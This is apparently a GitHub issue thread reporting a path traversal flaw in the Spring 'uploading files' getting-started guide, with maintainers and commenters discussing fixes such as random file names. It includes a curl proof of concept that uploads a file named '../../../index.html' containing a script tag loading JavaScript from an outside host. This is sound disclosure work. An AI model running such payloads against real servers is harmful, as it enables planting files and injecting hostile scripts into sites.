Unsecure file upload
Tethik opened this issue · 4 comments
The file upload is not validated properly. An adversary could upload and place a file anywhere in the filesystem that the running user has access to. This could in turn be used to write config files or scripts (e.g. .bashrc, .bashprofile etc). Although this is somewhat mitigated by the fact that existing files can not be overwritten.
The offending piece of code is here:
https://github.com/spring-guides/gs-uploading-files/blob/master/complete/src/main/java/hello/storage/FileSystemStorageService.java#L33
file.getOriginalFilename() can contain path characters and should be better validated.
I understand that this is simply an example repository (I came across it while trying out spring myself), but people tend to copy example code into real applications.
Proof of concept:
curl -i -s -k -X $'POST' \
-H $'Content-Type: multipart/form-data; boundary=---------------------------7582795397209326612114163626' \
--data-binary $'-----------------------------7582795397209326612114163626\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../index.html\"\x0d\x0aContent-Type: text/html\x0d\x0a\x0d\x0a<script src=\"https://blacknode.se/xss\"></script>\x0a\x0d\x0a-----------------------------7582795397209326612114163626--\x0d\x0a' \
$'http://localhost.:8080/'(Uploading a file with filename: ../../../index.html)
Expected result
File is contained within upload-dir.
Actual result
File is placed three parent directories "above".
To properly wrap this service with checks, whitelisting of file extensions, etc. I fear would take it way beyond a 30-minute getting started guide. Would a WARNING in the middle of the guide allay such concerns?
I think it would be better to show how it ought to be done. Parsing to get only the filename is easy enough. Whitelisting might be unnecessary but would still be good for this type of example I think.
My top results from google when searching for "spring boot upload file" show the same problem in other tutorials.
http://www.mkyong.com/spring-boot/spring-boot-file-upload-example/
https://www.tutorialspoint.com/springmvc/springmvc_upload.htm
https://hellokoding.com/uploading-multiple-files-example-with-spring-boot/
http://howtodoinjava.com/spring/spring-mvc/spring-mvc-multi-file-upload-example/
As such it seems almost easier to do it wrong than to do it right if you're going by example.
Point blank - security is hard.
Simplest thing in my mind would be to NOT use the original file name but instead generate a random one. Users file name could be served as the description, completely unhooking that content from the file system.
That would also prevent uploading foo.exe or foo.sh as well.
That should work. Maybe with some explanations why too.